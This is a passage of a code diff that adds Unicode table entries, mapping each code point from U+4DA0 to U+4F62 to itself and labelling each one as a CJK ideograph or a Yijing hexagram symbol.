+ ["\u4DA0", "\u4DA0"], /* CJK Ideograph Extension A */
+ ["\u4DA1", "\u4DA1"], /* CJK Ideograph Extension A */
+ ["\u4DA2", "\u4DA2"], /* CJK Ideograph Extension A */
+ ["\u4DA3", "\u4DA3"], /* CJK Ideograph Extension A */
+ ["\u4DA4", "\u4DA4"], /* CJK Ideograph Extension A */
+ ["\u4DA5", "\u4DA5"], /* CJK Ideograph Extension A */
+ ["\u4DA6", "\u4DA6"], /* CJK Ideograph Extension A */
+ ["\u4DA7", "\u4DA7"], /* CJK Ideograph Extension A */
+ ["\u4DA8", "\u4DA8"], /* CJK Ideograph Extension A */
+ ["\u4DA9", "\u4DA9"], /* CJK Ideograph Extension A */
+ ["\u4DAA", "\u4DAA"], /* CJK Ideograph Extension A */
+ ["\u4DAB", "\u4DAB"], /* CJK Ideograph Extension A */
+ ["\u4DAC", "\u4DAC"], /* CJK Ideograph Extension A */
+ ["\u4DAD", "\u4DAD"], /* CJK Ideograph Extension A */
+ ["\u4DAE", "\u4DAE"], /* CJK Ideograph Extension A */
+ ["\u4DAF", "\u4DAF"], /* CJK Ideograph Extension A */
+ ["\u4DB0", "\u4DB0"], /* CJK Ideograph Extension A */
+ ["\u4DB1", "\u4DB1"], /* CJK Ideograph Extension A */
+ ["\u4DB2", "\u4DB2"], /* CJK Ideograph Extension A */
+ ["\u4DB3", "\u4DB3"], /* CJK Ideograph Extension A */
+ ["\u4DB4", "\u4DB4"], /* CJK Ideograph Extension A */
+ ["\u4DB5", "\u4DB5"], /* CJK Ideograph Extension A */
+ ["\u4DB6", "\u4DB6"], /* CJK Ideograph Extension A */
+ ["\u4DB7", "\u4DB7"], /* CJK Ideograph Extension A */
+ ["\u4DB8", "\u4DB8"], /* CJK Ideograph Extension A */
+ ["\u4DB9", "\u4DB9"], /* CJK Ideograph Extension A */
+ ["\u4DBA", "\u4DBA"], /* CJK Ideograph Extension A */
+ ["\u4DBB", "\u4DBB"], /* CJK Ideograph Extension A */
+ ["\u4DBC", "\u4DBC"], /* CJK Ideograph Extension A */
+ ["\u4DBD", "\u4DBD"], /* CJK Ideograph Extension A */
+ ["\u4DBE", "\u4DBE"], /* CJK Ideograph Extension A */
+ ["\u4DBF", "\u4DBF"], /* CJK Ideograph Extension A */
+ ["\u4DC0", "\u4DC0"], /* HEXAGRAM FOR THE CREATIVE HEAVEN */
+ ["\u4DC1", "\u4DC1"], /* HEXAGRAM FOR THE RECEPTIVE EARTH */
+ ["\u4DC2", "\u4DC2"], /* HEXAGRAM FOR DIFFICULTY AT THE BEGINNING */
+ ["\u4DC3", "\u4DC3"], /* HEXAGRAM FOR YOUTHFUL FOLLY */
+ ["\u4DC4", "\u4DC4"], /* HEXAGRAM FOR WAITING */
+ ["\u4DC5", "\u4DC5"], /* HEXAGRAM FOR CONFLICT */
+ ["\u4DC6", "\u4DC6"], /* HEXAGRAM FOR THE ARMY */
+ ["\u4DC7", "\u4DC7"], /* HEXAGRAM FOR HOLDING TOGETHER */
+ ["\u4DC8", "\u4DC8"], /* HEXAGRAM FOR SMALL TAMING */
+ ["\u4DC9", "\u4DC9"], /* HEXAGRAM FOR TREADING */
+ ["\u4DCA", "\u4DCA"], /* HEXAGRAM FOR PEACE */
+ ["\u4DCB", "\u4DCB"], /* HEXAGRAM FOR STANDSTILL */
+ ["\u4DCC", "\u4DCC"], /* HEXAGRAM FOR FELLOWSHIP */
+ ["\u4DCD", "\u4DCD"], /* HEXAGRAM FOR GREAT POSSESSION */
+ ["\u4DCE", "\u4DCE"], /* HEXAGRAM FOR MODESTY */
+ ["\u4DCF", "\u4DCF"], /* HEXAGRAM FOR ENTHUSIASM */
+ ["\u4DD0", "\u4DD0"], /* HEXAGRAM FOR FOLLOWING */
+ ["\u4DD1", "\u4DD1"], /* HEXAGRAM FOR WORK ON THE DECAYED */
+ ["\u4DD2", "\u4DD2"], /* HEXAGRAM FOR APPROACH */
+ ["\u4DD3", "\u4DD3"], /* HEXAGRAM FOR CONTEMPLATION */
+ ["\u4DD4", "\u4DD4"], /* HEXAGRAM FOR BITING THROUGH */
+ ["\u4DD5", "\u4DD5"], /* HEXAGRAM FOR GRACE */
+ ["\u4DD6", "\u4DD6"], /* HEXAGRAM FOR SPLITTING APART */
+ ["\u4DD7", "\u4DD7"], /* HEXAGRAM FOR RETURN */
+ ["\u4DD8", "\u4DD8"], /* HEXAGRAM FOR INNOCENCE */
+ ["\u4DD9", "\u4DD9"], /* HEXAGRAM FOR GREAT TAMING */
+ ["\u4DDA", "\u4DDA"], /* HEXAGRAM FOR MOUTH CORNERS */
+ ["\u4DDB", "\u4DDB"], /* HEXAGRAM FOR GREAT PREPONDERANCE */
+ ["\u4DDC", "\u4DDC"], /* HEXAGRAM FOR THE ABYSMAL WATER */
+ ["\u4DDD", "\u4DDD"], /* HEXAGRAM FOR THE CLINGING FIRE */
+ ["\u4DDE", "\u4DDE"], /* HEXAGRAM FOR INFLUENCE */
+ ["\u4DDF", "\u4DDF"], /* HEXAGRAM FOR DURATION */
+ ["\u4DE0", "\u4DE0"], /* HEXAGRAM FOR RETREAT */
+ ["\u4DE1", "\u4DE1"], /* HEXAGRAM FOR GREAT POWER */
+ ["\u4DE2", "\u4DE2"], /* HEXAGRAM FOR PROGRESS */
+ ["\u4DE3", "\u4DE3"], /* HEXAGRAM FOR DARKENING OF THE LIGHT */
+ ["\u4DE4", "\u4DE4"], /* HEXAGRAM FOR THE FAMILY */
+ ["\u4DE5", "\u4DE5"], /* HEXAGRAM FOR OPPOSITION */
+ ["\u4DE6", "\u4DE6"], /* HEXAGRAM FOR OBSTRUCTION */
+ ["\u4DE7", "\u4DE7"], /* HEXAGRAM FOR DELIVERANCE */
+ ["\u4DE8", "\u4DE8"], /* HEXAGRAM FOR DECREASE */
+ ["\u4DE9", "\u4DE9"], /* HEXAGRAM FOR INCREASE */
+ ["\u4DEA", "\u4DEA"], /* HEXAGRAM FOR BREAKTHROUGH */
+ ["\u4DEB", "\u4DEB"], /* HEXAGRAM FOR COMING TO MEET */
+ ["\u4DEC", "\u4DEC"], /* HEXAGRAM FOR GATHERING TOGETHER */
+ ["\u4DED", "\u4DED"], /* HEXAGRAM FOR PUSHING UPWARD */
+ ["\u4DEE", "\u4DEE"], /* HEXAGRAM FOR OPPRESSION */
+ ["\u4DEF", "\u4DEF"], /* HEXAGRAM FOR THE WELL */
+ ["\u4DF0", "\u4DF0"], /* HEXAGRAM FOR REVOLUTION */
+ ["\u4DF1", "\u4DF1"], /* HEXAGRAM FOR THE CAULDRON */
+ ["\u4DF2", "\u4DF2"], /* HEXAGRAM FOR THE AROUSING THUNDER */
+ ["\u4DF3", "\u4DF3"], /* HEXAGRAM FOR THE KEEPING STILL MOUNTAIN */
+ ["\u4DF4", "\u4DF4"], /* HEXAGRAM FOR DEVELOPMENT */
+ ["\u4DF5", "\u4DF5"], /* HEXAGRAM FOR THE MARRYING MAIDEN */
+ ["\u4DF6", "\u4DF6"], /* HEXAGRAM FOR ABUNDANCE */
+ ["\u4DF7", "\u4DF7"], /* HEXAGRAM FOR THE WANDERER */
+ ["\u4DF8", "\u4DF8"], /* HEXAGRAM FOR THE GENTLE WIND */
+ ["\u4DF9", "\u4DF9"], /* HEXAGRAM FOR THE JOYOUS LAKE */
+ ["\u4DFA", "\u4DFA"], /* HEXAGRAM FOR DISPERSION */
+ ["\u4DFB", "\u4DFB"], /* HEXAGRAM FOR LIMITATION */
+ ["\u4DFC", "\u4DFC"], /* HEXAGRAM FOR INNER TRUTH */
+ ["\u4DFD", "\u4DFD"], /* HEXAGRAM FOR SMALL PREPONDERANCE */
+ ["\u4DFE", "\u4DFE"], /* HEXAGRAM FOR AFTER COMPLETION */
+ ["\u4DFF", "\u4DFF"], /* HEXAGRAM FOR BEFORE COMPLETION */
+ ["\u4E00", "\u4E00"], /* CJK Ideograph */
+ ["\u4E01", "\u4E01"], /* CJK Ideograph */
+ ["\u4E02", "\u4E02"], /* CJK Ideograph */
+ ["\u4E03", "\u4E03"], /* CJK Ideograph */
+ ["\u4E04", "\u4E04"], /* CJK Ideograph */
+ ["\u4E05", "\u4E05"], /* CJK Ideograph */
+ ["\u4E06", "\u4E06"], /* CJK Ideograph */
+ ["\u4E07", "\u4E07"], /* CJK Ideograph */
+ ["\u4E08", "\u4E08"], /* CJK Ideograph */
+ ["\u4E09", "\u4E09"], /* CJK Ideograph */
+ ["\u4E0A", "\u4E0A"], /* CJK Ideograph */
+ ["\u4E0B", "\u4E0B"], /* CJK Ideograph */
+ ["\u4E0C", "\u4E0C"], /* CJK Ideograph */
+ ["\u4E0D", "\u4E0D"], /* CJK Ideograph */
+ ["\u4E0E", "\u4E0E"], /* CJK Ideograph */
+ ["\u4E0F", "\u4E0F"], /* CJK Ideograph */
+ ["\u4E10", "\u4E10"], /* CJK Ideograph */
+ ["\u4E11", "\u4E11"], /* CJK Ideograph */
+ ["\u4E12", "\u4E12"], /* CJK Ideograph */
+ ["\u4E13", "\u4E13"], /* CJK Ideograph */
+ ["\u4E14", "\u4E14"], /* CJK Ideograph */
+ ["\u4E15", "\u4E15"], /* CJK Ideograph */
+ ["\u4E16", "\u4E16"], /* CJK Ideograph */
+ ["\u4E17", "\u4E17"], /* CJK Ideograph */
+ ["\u4E18", "\u4E18"], /* CJK Ideograph */
+ ["\u4E19", "\u4E19"], /* CJK Ideograph */
+ ["\u4E1A", "\u4E1A"], /* CJK Ideograph */
+ ["\u4E1B", "\u4E1B"], /* CJK Ideograph */
+ ["\u4E1C", "\u4E1C"], /* CJK Ideograph */
+ ["\u4E1D", "\u4E1D"], /* CJK Ideograph */
+ ["\u4E1E", "\u4E1E"], /* CJK Ideograph */
+ ["\u4E1F", "\u4E1F"], /* CJK Ideograph */
+ ["\u4E20", "\u4E20"], /* CJK Ideograph */
+ ["\u4E21", "\u4E21"], /* CJK Ideograph */
+ ["\u4E22", "\u4E22"], /* CJK Ideograph */
+ ["\u4E23", "\u4E23"], /* CJK Ideograph */
+ ["\u4E24", "\u4E24"], /* CJK Ideograph */
+ ["\u4E25", "\u4E25"], /* CJK Ideograph */
+ ["\u4E26", "\u4E26"], /* CJK Ideograph */
+ ["\u4E27", "\u4E27"], /* CJK Ideograph */
+ ["\u4E28", "\u4E28"], /* CJK Ideograph */
+ ["\u4E29", "\u4E29"], /* CJK Ideograph */
+ ["\u4E2A", "\u4E2A"], /* CJK Ideograph */
+ ["\u4E2B", "\u4E2B"], /* CJK Ideograph */
+ ["\u4E2C", "\u4E2C"], /* CJK Ideograph */
+ ["\u4E2D", "\u4E2D"], /* CJK Ideograph */
+ ["\u4E2E", "\u4E2E"], /* CJK Ideograph */
+ ["\u4E2F", "\u4E2F"], /* CJK Ideograph */
+ ["\u4E30", "\u4E30"], /* CJK Ideograph */
+ ["\u4E31", "\u4E31"], /* CJK Ideograph */
+ ["\u4E32", "\u4E32"], /* CJK Ideograph */
+ ["\u4E33", "\u4E33"], /* CJK Ideograph */
+ ["\u4E34", "\u4E34"], /* CJK Ideograph */
+ ["\u4E35", "\u4E35"], /* CJK Ideograph */
+ ["\u4E36", "\u4E36"], /* CJK Ideograph */
+ ["\u4E37", "\u4E37"], /* CJK Ideograph */
+ ["\u4E38", "\u4E38"], /* CJK Ideograph */
+ ["\u4E39", "\u4E39"], /* CJK Ideograph */
+ ["\u4E3A", "\u4E3A"], /* CJK Ideograph */
+ ["\u4E3B", "\u4E3B"], /* CJK Ideograph */
+ ["\u4E3C", "\u4E3C"], /* CJK Ideograph */
+ ["\u4E3D", "\u4E3D"], /* CJK Ideograph */
+ ["\u4E3E", "\u4E3E"], /* CJK Ideograph */
+ ["\u4E3F", "\u4E3F"], /* CJK Ideograph */
+ ["\u4E40", "\u4E40"], /* CJK Ideograph */
+ ["\u4E41", "\u4E41"], /* CJK Ideograph */
+ ["\u4E42", "\u4E42"], /* CJK Ideograph */
+ ["\u4E43", "\u4E43"], /* CJK Ideograph */
+ ["\u4E44", "\u4E44"], /* CJK Ideograph */
+ ["\u4E45", "\u4E45"], /* CJK Ideograph */
+ ["\u4E46", "\u4E46"], /* CJK Ideograph */
+ ["\u4E47", "\u4E47"], /* CJK Ideograph */
+ ["\u4E48", "\u4E48"], /* CJK Ideograph */
+ ["\u4E49", "\u4E49"], /* CJK Ideograph */
+ ["\u4E4A", "\u4E4A"], /* CJK Ideograph */
+ ["\u4E4B", "\u4E4B"], /* CJK Ideograph */
+ ["\u4E4C", "\u4E4C"], /* CJK Ideograph */
+ ["\u4E4D", "\u4E4D"], /* CJK Ideograph */
+ ["\u4E4E", "\u4E4E"], /* CJK Ideograph */
+ ["\u4E4F", "\u4E4F"], /* CJK Ideograph */
+ ["\u4E50", "\u4E50"], /* CJK Ideograph */
+ ["\u4E51", "\u4E51"], /* CJK Ideograph */
+ ["\u4E52", "\u4E52"], /* CJK Ideograph */
+ ["\u4E53", "\u4E53"], /* CJK Ideograph */
+ ["\u4E54", "\u4E54"], /* CJK Ideograph */
+ ["\u4E55", "\u4E55"], /* CJK Ideograph */
+ ["\u4E56", "\u4E56"], /* CJK Ideograph */
+ ["\u4E57", "\u4E57"], /* CJK Ideograph */
+ ["\u4E58", "\u4E58"], /* CJK Ideograph */
+ ["\u4E59", "\u4E59"], /* CJK Ideograph */
+ ["\u4E5A", "\u4E5A"], /* CJK Ideograph */
+ ["\u4E5B", "\u4E5B"], /* CJK Ideograph */
+ ["\u4E5C", "\u4E5C"], /* CJK Ideograph */
+ ["\u4E5D", "\u4E5D"], /* CJK Ideograph */
+ ["\u4E5E", "\u4E5E"], /* CJK Ideograph */
+ ["\u4E5F", "\u4E5F"], /* CJK Ideograph */
+ ["\u4E60", "\u4E60"], /* CJK Ideograph */
+ ["\u4E61", "\u4E61"], /* CJK Ideograph */
+ ["\u4E62", "\u4E62"], /* CJK Ideograph */
+ ["\u4E63", "\u4E63"], /* CJK Ideograph */
+ ["\u4E64", "\u4E64"], /* CJK Ideograph */
+ ["\u4E65", "\u4E65"], /* CJK Ideograph */
+ ["\u4E66", "\u4E66"], /* CJK Ideograph */
+ ["\u4E67", "\u4E67"], /* CJK Ideograph */
+ ["\u4E68", "\u4E68"], /* CJK Ideograph */
+ ["\u4E69", "\u4E69"], /* CJK Ideograph */
+ ["\u4E6A", "\u4E6A"], /* CJK Ideograph */
+ ["\u4E6B", "\u4E6B"], /* CJK Ideograph */
+ ["\u4E6C", "\u4E6C"], /* CJK Ideograph */
+ ["\u4E6D", "\u4E6D"], /* CJK Ideograph */
+ ["\u4E6E", "\u4E6E"], /* CJK Ideograph */
+ ["\u4E6F", "\u4E6F"], /* CJK Ideograph */
+ ["\u4E70", "\u4E70"], /* CJK Ideograph */
+ ["\u4E71", "\u4E71"], /* CJK Ideograph */
+ ["\u4E72", "\u4E72"], /* CJK Ideograph */
+ ["\u4E73", "\u4E73"], /* CJK Ideograph */
+ ["\u4E74", "\u4E74"], /* CJK Ideograph */
+ ["\u4E75", "\u4E75"], /* CJK Ideograph */
+ ["\u4E76", "\u4E76"], /* CJK Ideograph */
+ ["\u4E77", "\u4E77"], /* CJK Ideograph */
+ ["\u4E78", "\u4E78"], /* CJK Ideograph */
+ ["\u4E79", "\u4E79"], /* CJK Ideograph */
+ ["\u4E7A", "\u4E7A"], /* CJK Ideograph */
+ ["\u4E7B", "\u4E7B"], /* CJK Ideograph */
+ ["\u4E7C", "\u4E7C"], /* CJK Ideograph */
+ ["\u4E7D", "\u4E7D"], /* CJK Ideograph */
+ ["\u4E7E", "\u4E7E"], /* CJK Ideograph */
+ ["\u4E7F", "\u4E7F"], /* CJK Ideograph */
+ ["\u4E80", "\u4E80"], /* CJK Ideograph */
+ ["\u4E81", "\u4E81"], /* CJK Ideograph */
+ ["\u4E82", "\u4E82"], /* CJK Ideograph */
+ ["\u4E83", "\u4E83"], /* CJK Ideograph */
+ ["\u4E84", "\u4E84"], /* CJK Ideograph */
+ ["\u4E85", "\u4E85"], /* CJK Ideograph */
+ ["\u4E86", "\u4E86"], /* CJK Ideograph */
+ ["\u4E87", "\u4E87"], /* CJK Ideograph */
+ ["\u4E88", "\u4E88"], /* CJK Ideograph */
+ ["\u4E89", "\u4E89"], /* CJK Ideograph */
+ ["\u4E8A", "\u4E8A"], /* CJK Ideograph */
+ ["\u4E8B", "\u4E8B"], /* CJK Ideograph */
+ ["\u4E8C", "\u4E8C"], /* CJK Ideograph */
+ ["\u4E8D", "\u4E8D"], /* CJK Ideograph */
+ ["\u4E8E", "\u4E8E"], /* CJK Ideograph */
+ ["\u4E8F", "\u4E8F"], /* CJK Ideograph */
+ ["\u4E90", "\u4E90"], /* CJK Ideograph */
+ ["\u4E91", "\u4E91"], /* CJK Ideograph */
+ ["\u4E92", "\u4E92"], /* CJK Ideograph */
+ ["\u4E93", "\u4E93"], /* CJK Ideograph */
+ ["\u4E94", "\u4E94"], /* CJK Ideograph */
+ ["\u4E95", "\u4E95"], /* CJK Ideograph */
+ ["\u4E96", "\u4E96"], /* CJK Ideograph */
+ ["\u4E97", "\u4E97"], /* CJK Ideograph */
+ ["\u4E98", "\u4E98"], /* CJK Ideograph */
+ ["\u4E99", "\u4E99"], /* CJK Ideograph */
+ ["\u4E9A", "\u4E9A"], /* CJK Ideograph */
+ ["\u4E9B", "\u4E9B"], /* CJK Ideograph */
+ ["\u4E9C", "\u4E9C"], /* CJK Ideograph */
+ ["\u4E9D", "\u4E9D"], /* CJK Ideograph */
+ ["\u4E9E", "\u4E9E"], /* CJK Ideograph */
+ ["\u4E9F", "\u4E9F"], /* CJK Ideograph */
+ ["\u4EA0", "\u4EA0"], /* CJK Ideograph */
+ ["\u4EA1", "\u4EA1"], /* CJK Ideograph */
+ ["\u4EA2", "\u4EA2"], /* CJK Ideograph */
+ ["\u4EA3", "\u4EA3"], /* CJK Ideograph */
+ ["\u4EA4", "\u4EA4"], /* CJK Ideograph */
+ ["\u4EA5", "\u4EA5"], /* CJK Ideograph */
+ ["\u4EA6", "\u4EA6"], /* CJK Ideograph */
+ ["\u4EA7", "\u4EA7"], /* CJK Ideograph */
+ ["\u4EA8", "\u4EA8"], /* CJK Ideograph */
+ ["\u4EA9", "\u4EA9"], /* CJK Ideograph */
+ ["\u4EAA", "\u4EAA"], /* CJK Ideograph */
+ ["\u4EAB", "\u4EAB"], /* CJK Ideograph */
+ ["\u4EAC", "\u4EAC"], /* CJK Ideograph */
+ ["\u4EAD", "\u4EAD"], /* CJK Ideograph */
+ ["\u4EAE", "\u4EAE"], /* CJK Ideograph */
+ ["\u4EAF", "\u4EAF"], /* CJK Ideograph */
+ ["\u4EB0", "\u4EB0"], /* CJK Ideograph */
+ ["\u4EB1", "\u4EB1"], /* CJK Ideograph */
+ ["\u4EB2", "\u4EB2"], /* CJK Ideograph */
+ ["\u4EB3", "\u4EB3"], /* CJK Ideograph */
+ ["\u4EB4", "\u4EB4"], /* CJK Ideograph */
+ ["\u4EB5", "\u4EB5"], /* CJK Ideograph */
+ ["\u4EB6", "\u4EB6"], /* CJK Ideograph */
+ ["\u4EB7", "\u4EB7"], /* CJK Ideograph */
+ ["\u4EB8", "\u4EB8"], /* CJK Ideograph */
+ ["\u4EB9", "\u4EB9"], /* CJK Ideograph */
+ ["\u4EBA", "\u4EBA"], /* CJK Ideograph */
+ ["\u4EBB", "\u4EBB"], /* CJK Ideograph */
+ ["\u4EBC", "\u4EBC"], /* CJK Ideograph */
+ ["\u4EBD", "\u4EBD"], /* CJK Ideograph */
+ ["\u4EBE", "\u4EBE"], /* CJK Ideograph */
+ ["\u4EBF", "\u4EBF"], /* CJK Ideograph */
+ ["\u4EC0", "\u4EC0"], /* CJK Ideograph */
+ ["\u4EC1", "\u4EC1"], /* CJK Ideograph */
+ ["\u4EC2", "\u4EC2"], /* CJK Ideograph */
+ ["\u4EC3", "\u4EC3"], /* CJK Ideograph */
+ ["\u4EC4", "\u4EC4"], /* CJK Ideograph */
+ ["\u4EC5", "\u4EC5"], /* CJK Ideograph */
+ ["\u4EC6", "\u4EC6"], /* CJK Ideograph */
+ ["\u4EC7", "\u4EC7"], /* CJK Ideograph */
+ ["\u4EC8", "\u4EC8"], /* CJK Ideograph */
+ ["\u4EC9", "\u4EC9"], /* CJK Ideograph */
+ ["\u4ECA", "\u4ECA"], /* CJK Ideograph */
+ ["\u4ECB", "\u4ECB"], /* CJK Ideograph */
+ ["\u4ECC", "\u4ECC"], /* CJK Ideograph */
+ ["\u4ECD", "\u4ECD"], /* CJK Ideograph */
+ ["\u4ECE", "\u4ECE"], /* CJK Ideograph */
+ ["\u4ECF", "\u4ECF"], /* CJK Ideograph */
+ ["\u4ED0", "\u4ED0"], /* CJK Ideograph */
+ ["\u4ED1", "\u4ED1"], /* CJK Ideograph */
+ ["\u4ED2", "\u4ED2"], /* CJK Ideograph */
+ ["\u4ED3", "\u4ED3"], /* CJK Ideograph */
+ ["\u4ED4", "\u4ED4"], /* CJK Ideograph */
+ ["\u4ED5", "\u4ED5"], /* CJK Ideograph */
+ ["\u4ED6", "\u4ED6"], /* CJK Ideograph */
+ ["\u4ED7", "\u4ED7"], /* CJK Ideograph */
+ ["\u4ED8", "\u4ED8"], /* CJK Ideograph */
+ ["\u4ED9", "\u4ED9"], /* CJK Ideograph */
+ ["\u4EDA", "\u4EDA"], /* CJK Ideograph */
+ ["\u4EDB", "\u4EDB"], /* CJK Ideograph */
+ ["\u4EDC", "\u4EDC"], /* CJK Ideograph */
+ ["\u4EDD", "\u4EDD"], /* CJK Ideograph */
+ ["\u4EDE", "\u4EDE"], /* CJK Ideograph */
+ ["\u4EDF", "\u4EDF"], /* CJK Ideograph */
+ ["\u4EE0", "\u4EE0"], /* CJK Ideograph */
+ ["\u4EE1", "\u4EE1"], /* CJK Ideograph */
+ ["\u4EE2", "\u4EE2"], /* CJK Ideograph */
+ ["\u4EE3", "\u4EE3"], /* CJK Ideograph */
+ ["\u4EE4", "\u4EE4"], /* CJK Ideograph */
+ ["\u4EE5", "\u4EE5"], /* CJK Ideograph */
+ ["\u4EE6", "\u4EE6"], /* CJK Ideograph */
+ ["\u4EE7", "\u4EE7"], /* CJK Ideograph */
+ ["\u4EE8", "\u4EE8"], /* CJK Ideograph */
+ ["\u4EE9", "\u4EE9"], /* CJK Ideograph */
+ ["\u4EEA", "\u4EEA"], /* CJK Ideograph */
+ ["\u4EEB", "\u4EEB"], /* CJK Ideograph */
+ ["\u4EEC", "\u4EEC"], /* CJK Ideograph */
+ ["\u4EED", "\u4EED"], /* CJK Ideograph */
+ ["\u4EEE", "\u4EEE"], /* CJK Ideograph */
+ ["\u4EEF", "\u4EEF"], /* CJK Ideograph */
+ ["\u4EF0", "\u4EF0"], /* CJK Ideograph */
+ ["\u4EF1", "\u4EF1"], /* CJK Ideograph */
+ ["\u4EF2", "\u4EF2"], /* CJK Ideograph */
+ ["\u4EF3", "\u4EF3"], /* CJK Ideograph */
+ ["\u4EF4", "\u4EF4"], /* CJK Ideograph */
+ ["\u4EF5", "\u4EF5"], /* CJK Ideograph */
+ ["\u4EF6", "\u4EF6"], /* CJK Ideograph */
+ ["\u4EF7", "\u4EF7"], /* CJK Ideograph */
+ ["\u4EF8", "\u4EF8"], /* CJK Ideograph */
+ ["\u4EF9", "\u4EF9"], /* CJK Ideograph */
+ ["\u4EFA", "\u4EFA"], /* CJK Ideograph */
+ ["\u4EFB", "\u4EFB"], /* CJK Ideograph */
+ ["\u4EFC", "\u4EFC"], /* CJK Ideograph */
+ ["\u4EFD", "\u4EFD"], /* CJK Ideograph */
+ ["\u4EFE", "\u4EFE"], /* CJK Ideograph */
+ ["\u4EFF", "\u4EFF"], /* CJK Ideograph */
+ ["\u4F00", "\u4F00"], /* CJK Ideograph */
+ ["\u4F01", "\u4F01"], /* CJK Ideograph */
+ ["\u4F02", "\u4F02"], /* CJK Ideograph */
+ ["\u4F03", "\u4F03"], /* CJK Ideograph */
+ ["\u4F04", "\u4F04"], /* CJK Ideograph */
+ ["\u4F05", "\u4F05"], /* CJK Ideograph */
+ ["\u4F06", "\u4F06"], /* CJK Ideograph */
+ ["\u4F07", "\u4F07"], /* CJK Ideograph */
+ ["\u4F08", "\u4F08"], /* CJK Ideograph */
+ ["\u4F09", "\u4F09"], /* CJK Ideograph */
+ ["\u4F0A", "\u4F0A"], /* CJK Ideograph */
+ ["\u4F0B", "\u4F0B"], /* CJK Ideograph */
+ ["\u4F0C", "\u4F0C"], /* CJK Ideograph */
+ ["\u4F0D", "\u4F0D"], /* CJK Ideograph */
+ ["\u4F0E", "\u4F0E"], /* CJK Ideograph */
+ ["\u4F0F", "\u4F0F"], /* CJK Ideograph */
+ ["\u4F10", "\u4F10"], /* CJK Ideograph */
+ ["\u4F11", "\u4F11"], /* CJK Ideograph */
+ ["\u4F12", "\u4F12"], /* CJK Ideograph */
+ ["\u4F13", "\u4F13"], /* CJK Ideograph */
+ ["\u4F14", "\u4F14"], /* CJK Ideograph */
+ ["\u4F15", "\u4F15"], /* CJK Ideograph */
+ ["\u4F16", "\u4F16"], /* CJK Ideograph */
+ ["\u4F17", "\u4F17"], /* CJK Ideograph */
+ ["\u4F18", "\u4F18"], /* CJK Ideograph */
+ ["\u4F19", "\u4F19"], /* CJK Ideograph */
+ ["\u4F1A", "\u4F1A"], /* CJK Ideograph */
+ ["\u4F1B", "\u4F1B"], /* CJK Ideograph */
+ ["\u4F1C", "\u4F1C"], /* CJK Ideograph */
+ ["\u4F1D", "\u4F1D"], /* CJK Ideograph */
+ ["\u4F1E", "\u4F1E"], /* CJK Ideograph */
+ ["\u4F1F", "\u4F1F"], /* CJK Ideograph */
+ ["\u4F20", "\u4F20"], /* CJK Ideograph */
+ ["\u4F21", "\u4F21"], /* CJK Ideograph */
+ ["\u4F22", "\u4F22"], /* CJK Ideograph */
+ ["\u4F23", "\u4F23"], /* CJK Ideograph */
+ ["\u4F24", "\u4F24"], /* CJK Ideograph */
+ ["\u4F25", "\u4F25"], /* CJK Ideograph */
+ ["\u4F26", "\u4F26"], /* CJK Ideograph */
+ ["\u4F27", "\u4F27"], /* CJK Ideograph */
+ ["\u4F28", "\u4F28"], /* CJK Ideograph */
+ ["\u4F29", "\u4F29"], /* CJK Ideograph */
+ ["\u4F2A", "\u4F2A"], /* CJK Ideograph */
+ ["\u4F2B", "\u4F2B"], /* CJK Ideograph */
+ ["\u4F2C", "\u4F2C"], /* CJK Ideograph */
+ ["\u4F2D", "\u4F2D"], /* CJK Ideograph */
+ ["\u4F2E", "\u4F2E"], /* CJK Ideograph */
+ ["\u4F2F", "\u4F2F"], /* CJK Ideograph */
+ ["\u4F30", "\u4F30"], /* CJK Ideograph */
+ ["\u4F31", "\u4F31"], /* CJK Ideograph */
+ ["\u4F32", "\u4F32"], /* CJK Ideograph */
+ ["\u4F33", "\u4F33"], /* CJK Ideograph */
+ ["\u4F34", "\u4F34"], /* CJK Ideograph */
+ ["\u4F35", "\u4F35"], /* CJK Ideograph */
+ ["\u4F36", "\u4F36"], /* CJK Ideograph */
+ ["\u4F37", "\u4F37"], /* CJK Ideograph */
+ ["\u4F38", "\u4F38"], /* CJK Ideograph */
+ ["\u4F39", "\u4F39"], /* CJK Ideograph */
+ ["\u4F3A", "\u4F3A"], /* CJK Ideograph */
+ ["\u4F3B", "\u4F3B"], /* CJK Ideograph */
+ ["\u4F3C", "\u4F3C"], /* CJK Ideograph */
+ ["\u4F3D", "\u4F3D"], /* CJK Ideograph */
+ ["\u4F3E", "\u4F3E"], /* CJK Ideograph */
+ ["\u4F3F", "\u4F3F"], /* CJK Ideograph */
+ ["\u4F40", "\u4F40"], /* CJK Ideograph */
+ ["\u4F41", "\u4F41"], /* CJK Ideograph */
+ ["\u4F42", "\u4F42"], /* CJK Ideograph */
+ ["\u4F43", "\u4F43"], /* CJK Ideograph */
+ ["\u4F44", "\u4F44"], /* CJK Ideograph */
+ ["\u4F45", "\u4F45"], /* CJK Ideograph */
+ ["\u4F46", "\u4F46"], /* CJK Ideograph */
+ ["\u4F47", "\u4F47"], /* CJK Ideograph */
+ ["\u4F48", "\u4F48"], /* CJK Ideograph */
+ ["\u4F49", "\u4F49"], /* CJK Ideograph */
+ ["\u4F4A", "\u4F4A"], /* CJK Ideograph */
+ ["\u4F4B", "\u4F4B"], /* CJK Ideograph */
+ ["\u4F4C", "\u4F4C"], /* CJK Ideograph */
+ ["\u4F4D", "\u4F4D"], /* CJK Ideograph */
+ ["\u4F4E", "\u4F4E"], /* CJK Ideograph */
+ ["\u4F4F", "\u4F4F"], /* CJK Ideograph */
+ ["\u4F50", "\u4F50"], /* CJK Ideograph */
+ ["\u4F51", "\u4F51"], /* CJK Ideograph */
+ ["\u4F52", "\u4F52"], /* CJK Ideograph */
+ ["\u4F53", "\u4F53"], /* CJK Ideograph */
+ ["\u4F54", "\u4F54"], /* CJK Ideograph */
+ ["\u4F55", "\u4F55"], /* CJK Ideograph */
+ ["\u4F56", "\u4F56"], /* CJK Ideograph */
+ ["\u4F57", "\u4F57"], /* CJK Ideograph */
+ ["\u4F58", "\u4F58"], /* CJK Ideograph */
+ ["\u4F59", "\u4F59"], /* CJK Ideograph */
+ ["\u4F5A", "\u4F5A"], /* CJK Ideograph */
+ ["\u4F5B", "\u4F5B"], /* CJK Ideograph */
+ ["\u4F5C", "\u4F5C"], /* CJK Ideograph */
+ ["\u4F5D", "\u4F5D"], /* CJK Ideograph */
+ ["\u4F5E", "\u4F5E"], /* CJK Ideograph */
+ ["\u4F5F", "\u4F5F"], /* CJK Ideograph */
+ ["\u4F60", "\u4F60"], /* CJK Ideograph */
+ ["\u4F61", "\u4F61"], /* CJK Ideograph */
+ ["\u4F62", "\u4F62"], /* CJK Ideograph */
